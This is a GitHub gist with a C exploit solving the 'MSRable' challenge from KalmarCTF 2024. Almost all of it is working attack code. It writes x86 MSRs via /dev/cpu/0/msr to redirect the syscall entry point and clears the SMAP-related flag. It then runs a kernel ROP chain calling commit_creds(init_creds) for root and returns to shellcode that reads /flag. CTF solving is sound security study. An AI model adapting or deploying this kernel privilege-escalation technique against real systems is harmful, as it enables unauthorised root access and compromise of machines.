-
-
Save disconnect3d/4fa1972f5b3148bf17995406490c0e70 to your computer and use it in GitHub Desktop.
MSRable CTF chall exploit from KalmarCTF2024; PoC of writing/reading to/from MSRs on x86/64
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/mman.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
void breakpoint() {} | |
#define R(x) printf("%30s => %#lx\n", #x, read_msr(fd, (x))) | |
/* x86-64 specific MSRs */ | |
#define MSR_EFER 0xc0000080 /* extended feature register */ | |
#define MSR_STAR 0xc0000081 /* legacy mode SYSCALL target */ | |
#define MSR_LSTAR 0xc0000082 /* long mode SYSCALL target */ | |
#define MSR_CSTAR 0xc0000083 /* compat mode SYSCALL target */ | |
#define MSR_SYSCALL_MASK 0xc0000084 /* EFLAGS mask for syscall */ | |
#define MSR_FS_BASE 0xc0000100 /* 64bit FS base */ | |
#define MSR_GS_BASE 0xc0000101 /* 64bit GS base */ | |
#define MSR_KERNEL_GS_BASE 0xc0000102 /* SwapGS GS shadow */ | |
#define MSR_TSC_AUX 0xc0000103 /* Auxiliary TSC */ | |
#define IA32_SYSENTER_ESP 0x175 | |
#define IA32_SYSENTER_EIP 0x176 | |
#define MSR_IA32_U_CET 0x000006a0 /* user mode cet */ | |
#define MSR_IA32_S_CET 0x000006a2 /* kernel mode cet */ | |
#define MSR_IA32_PL0_SSP 0x000006a4 /* ring-0 shadow stack pointer */ | |
#define MSR_IA32_PL1_SSP 0x000006a5 /* ring-1 shadow stack pointer */ | |
#define MSR_IA32_PL2_SSP 0x000006a6 /* ring-2 shadow stack pointer */ | |
#define MSR_IA32_PL3_SSP 0x000006a7 /* ring-3 shadow stack pointer */ | |
#define MSR_IA32_INT_SSP_TAB 0x000006a8 /* exception shadow stack table */ | |
uint64_t globrsp[0x400] = {0}; | |
uint32_t argv[3]; | |
uint32_t envp[2]; | |
__attribute__((naked)) | |
void fire() { | |
asm("mov %[globrsp], %%rsp; " | |
:: [globrsp] "r" (&globrsp[0x200]) | |
); | |
asm( | |
/* Save destination */ | |
".intel_syntax; " | |
"mov %rdi, 1; " | |
/* push '/flag\x00' */ | |
"mov %rax, 0x67616c662f; push %rax;" | |
/* call open('esp', 'O_RDONLY') */ | |
"mov %eax, 5; " | |
"mov %ebx, %esp; " | |
"xor %ecx, %ecx; " | |
"int 0x80; " | |
/* Save file descriptor for later */ | |
"mov %ebp, %eax; " | |
/* call fstat('eax', 'esp') */ | |
"mov %ebx, %eax; " | |
//push SYS_fstat /* 0x6c */ | |
//pop eax | |
"mov %eax, 0x6c; " | |
"mov %ecx, %esp; " | |
"int 0x80; " | |
/* Get file size */ | |
"add %esp, 20; " | |
"mov %esi, [%esp]; " | |
/* call sendfile('edi', 'ebp', 0, 'esi') */ | |
//"xor eax, eax; " | |
//"mov al, 0xbb; " | |
"mov %eax, 0xbb; " | |
"mov %ebx, %edi; " | |
"mov %ecx, %ebp; " | |
"cdq; " /* edx=0 */ | |
"int 0x80; " | |
".att_syntax; " | |
); | |
// puts("Executing flag?"); | |
/* | |
argv[0] = (uint32_t)"/bin/cat"; | |
argv[1] = (uint32_t)"/flag"; | |
argv[2] = 0; | |
envp[0] = 0; | |
envp[1] = 0; | |
/* char* argv[] = {"/bin/cat", "/flag", 0}; | |
char* envp[] = {0, 0, 0}; | |
asm("mov 11, %%eax; " | |
"mov %[rdi], %%edi; " | |
"mov %[rsi], %%esi; " | |
"mov 0, %%edx; " | |
"int 0x80; " | |
:: [rdi] "r" (argv[0]), [rsi] "r" ((uint32_t)argv) ); | |
*/ | |
/* | |
__asm__("\ | |
.intel_syntax; \ | |
movq %rax, 0x1DEADBEEF; \ | |
movq %rbx, 0x2DEADBEEF;\ | |
movq %rcx, 0x3DEADBEEF;\ | |
movq %rdx, 0x4DEADBEEF;\ | |
movq %r8, 0x5DEADBEEF;\ | |
movq %r9, 0x6DEADBEEF;\ | |
movq %r10, 0x7DEADBEEF;\ | |
movq %r11, 0x8DEADBEEF;\ | |
movq %r12, 0x9DEADBEEF;\ | |
movq %r13, 0xADEADBEEF;\ | |
movq %r14, 0xBDEADBEEF;\ | |
movq %r15, 0xCDEADBEEF;\ | |
syscall;\ | |
.att_syntax;\ | |
");*/ | |
} | |
uint64_t read_msr(int fd, off_t msr_reg) { | |
lseek(fd, msr_reg, SEEK_SET); | |
uint64_t val = {0}; | |
ssize_t n = read(fd, &val, 8); | |
/* if (n != 8) | |
printf("read msr failed? n=%ld\n", n);*/ | |
return val; | |
} | |
void write_msr(int fd, off_t msr_reg, uint64_t val) { | |
lseek(fd, msr_reg, SEEK_SET); | |
write(fd, &val, 8); | |
/* | |
ssize_t n = write(fd, &val, 8); | |
if (n != 8) | |
printf("write msr failed? n=%ld\n", n);*/ | |
} | |
// Found MSRs | |
#define MSR_entry_SYSENTER_compat 0x176 | |
int main() { | |
int fd = open("/dev/cpu/0/msr", O_RDWR); | |
//if (fd<0) return 1; | |
/* | |
R(MSR_EFER); | |
R(MSR_STAR); | |
R(MSR_LSTAR); | |
R(MSR_CSTAR); | |
R(MSR_SYSCALL_MASK); | |
R(MSR_FS_BASE); | |
R(MSR_GS_BASE); | |
R(MSR_KERNEL_GS_BASE); | |
R(MSR_TSC_AUX); | |
R(MSR_IA32_U_CET); | |
R(MSR_IA32_S_CET); | |
R(MSR_IA32_PL0_SSP); | |
R(MSR_IA32_PL1_SSP); | |
R(MSR_IA32_PL2_SSP); | |
R(MSR_IA32_PL3_SSP); | |
R(MSR_IA32_INT_SSP_TAB); | |
*/ | |
/* | |
//Doing this kills kernel | |
uint64_t efer = read_msr(fd, MSR_EFER); | |
// MSR_EFER is 0xd01 | |
// disable 11th bit which is: | |
// eXecute-Disable bit in paging structures (1=enabled, 0=disabled) | |
efer = efer & (~(1<<11)); | |
write_msr(fd, MSR_LSTAR, efer); | |
printf("Disabled eX-disable in paging structs in EFER\n"); | |
R(MSR_EFER); | |
*/ | |
uint64_t msr_lstar = read_msr(fd, MSR_LSTAR); | |
uint64_t kernel_base = msr_lstar - 0x40; | |
//printf("kernel base (?) = %p\n", kernel_base); | |
uint64_t kernel_ret = kernel_base+0x1d2; | |
uint64_t* kernel_shellcode = mmap(0, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
uint64_t* kernel_rop2 = mmap(0, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
uint64_t* kernel_rwx = mmap(0, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
/* | |
printf("kernel rop=%p\n", kernel_shellcode); | |
printf("kernel rop2=%p\n", kernel_rop2); | |
printf("kernel rwx=%p\n", kernel_rwx); | |
kernel_rwx[0] = 0xfeeb;*/ | |
// set AC flag in EEFLAGS | |
// https://www.felixcloutier.com/x86/stac | |
// This allows us to bypass SMAP!!!: | |
// This allows explicit supervisor-mode data accesses to user-mode pages even if the SMAP bit is set in the CR4 register | |
uint64_t syscall_mask = read_msr(fd, MSR_SYSCALL_MASK); | |
//printf("MSR_SYSCALL_MASK = %#lx\n", syscall_mask); | |
syscall_mask &= ~(1 << 18); // set AC bit, see | |
write_msr(fd, MSR_SYSCALL_MASK, syscall_mask); | |
/* | |
printf("new MSR_SYSCALL_MASK = %#lx\n", syscall_mask); | |
printf("kernel ret addr=%p\n", kernel_ret); | |
printf("kernel wannabe rsp=%p\n", kernel_shellcode); | |
*/ | |
printf("breakpoint addr=%p\n", breakpoint); | |
/* | |
uint64_t rax = kernel_shellcode+(0x500/8)+10; | |
uint64_t rcx = kernel_shellcode+(0x500/8)+20; | |
// Execute "STAC" to set EEFLAGS AC bit | |
//stac; | |
asm("movq %[aa], %%rax\n\t" | |
"movq %[bb], %%rcx\n\t" | |
:: [aa] "r" (rax), [bb] "r" (rcx)); | |
*/ | |
uint64_t newcr3 = 0x186f000-0x1000; | |
// uint64_t newcr3 = 0x18c9000-0x1000; | |
uint64_t *k = kernel_rop2; | |
*k++ = 0xDEADBEEF; // FILLED BY CODE | |
*k++ = newcr3+0x1000; | |
*k++ = kernel_base + 0x000000000000175d; // mov cr3, rax; jmp | |
*k++ = main; | |
uint64_t* xxx = ((uint64_t)kernel_rop2)-0x1000+8; | |
uint64_t sysretq = kernel_base + 0x800178; | |
uint64_t set_cr4_gadget = kernel_base - 0x800000 + 0x00000000000480a6; // : mov cr4, rax ; jmp 0x480ab | |
uint64_t poprax = kernel_base - 0x800000 + 0x00000000001c4408; // : pop rax ; or dh, dh ; ret | |
uint64_t *newrsp = kernel_shellcode; | |
newrsp += 0x100; | |
uint64_t* p = newrsp; | |
// done indicator in swap_pages | |
// https://elixir.bootlin.com/linux/v6.7.5/source/arch/x86/kernel/relocate_kernel_64.S#L173 | |
uint64_t rbx = 4; | |
*p++ = kernel_base + 0x000000000000175d; // mov cr3, rax; jmp | |
*p++ = kernel_base - 0x800000 + 0x0000000000001a28; // : pop rdi ; ret | |
*p++ = kernel_base + 0x644860; // init_creds // struct | |
*p++ = kernel_base - 0x774fe0; // commit_creds | |
//*p++ = kernel_base - 0x800000 + 0x00000000001ebfac; // : pop rcx ; ret | |
// Address in user space when we want to return from syscall | |
//*p++ = &fire; | |
// Address in user space when we want to return from syscall | |
*p++ = kernel_base - 0x800000 + 0x00000000000c80fe; // : pop r11 ; ret | |
*p++ = 0x2; | |
/* | |
0xffffffff9640011b <syscall_return_via_sysret+45>: pop rcx | |
0xffffffff9640011c <syscall_return_via_sysret+46>: pop rdx | |
0xffffffff9640011d <syscall_return_via_sysret+47>: pop rsi | |
0xffffffff9640011e <syscall_return_via_sysret+48>: mov rdi,rsp | |
0xffffffff96400121 <syscall_return_via_sysret+51>: mov rsp,QWORD PTR ds:0xffffffff96a0c004 | |
0xffffffff96400129 <syscall_return_via_sysret+59>: push QWORD PTR [rdi+0x28] | |
0xffffffff9640012c <syscall_return_via_sysret+62>: push QWORD PTR [rdi] | |
0xffffffff9640012e <syscall_return_via_sysret+64>: push rax | |
0xffffffff9640012f <syscall_return_via_sysret+65>: xchg ax,ax | |
0xffffffff96400131 <syscall_return_via_sysret+67>: mov rdi,cr3 | |
0xffffffff96400134 <syscall_return_via_sysret+70>: jmp 0xffffffff96400168 <syscall_return_via_sysret+122> | |
0xffffffff96400136 <syscall_return_via_sysret+72>: mov rax,rdi | |
0xffffffff96400139 <syscall_return_via_sysret+75>: and rdi,0x7ff | |
0xffffffff96400140 <syscall_return_via_sysret+82>: bt QWORD PTR ds:0xffffffff96bb8356,rdi | |
0xffffffff96400149 <syscall_return_via_sysret+91>: jae 0xffffffff96400159 <syscall_return_via_sysret+107> | |
0xffffffff9640014b <syscall_return_via_sysret+93>: btr QWORD PTR ds:0xffffffff96bb8356,rdi | |
0xffffffff96400154 <syscall_return_via_sysret+102>: mov rdi,rax | |
0xffffffff96400157 <syscall_return_via_sysret+105>: jmp 0xffffffff96400161 <syscall_return_via_sysret+115> | |
0xffffffff96400159 <syscall_return_via_sysret+107>: mov rdi,rax | |
0xffffffff9640015c <syscall_return_via_sysret+110>: bts rdi,0x3f | |
0xffffffff96400161 <syscall_return_via_sysret+115>: or rdi,0x800 | |
0xffffffff96400168 <syscall_return_via_sysret+122>: or rdi,0x1000 | |
0xffffffff9640016f <syscall_return_via_sysret+129>: mov cr3,rdi | |
0xffffffff96400172 <syscall_return_via_sysret+132>: pop rax | |
0xffffffff96400173 <syscall_return_via_sysret+133>: pop rdi | |
0xffffffff96400174 <syscall_return_via_sysret+134>: pop rsp | |
0xffffffff96400175 <entry_SYSRETQ_unsafe_stack>: swapgs | |
0xffffffff96400178 <entry_SYSRETQ_unsafe_stack+3>: sysretq | |
*/ | |
*p++ = kernel_base + 0x11b; | |
*p++ = &fire; // rcx | |
*p++ = 0x61616161 ; // rdx | |
*p++ = 0x62626262 ; // rsi | |
*p++ = 0x63636363; // rax | |
*p++ = 0x64646464; // rdi | |
*p++ = kernel_rop2+4; // rsp | |
*p++ = kernel_base + 0x178; // sysretqq | |
getchar(); | |
write_msr(fd, MSR_LSTAR, kernel_ret); | |
breakpoint(); | |
asm(".intel_syntax; \ | |
pushf; \ | |
or dword ptr [%rsp], 0x40000; \ | |
popf; .att_syntax; "); | |
asm("mov %[newcr3], %%rax; " | |
"mov %[newcr3], %%r9; " | |
"mov %[newrsp], %%rsp; " | |
"syscall; " | |
:: [newcr3] "r" (newcr3), [newrsp] "r" (newrsp) | |
); | |
/* | |
write_msr(fd, MSR_STAR, 0x41414141); | |
write_msr(fd, MSR_LSTAR, 0x42424242); | |
write_msr(fd, MSR_CSTAR, 0x43434343); | |
*/ | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment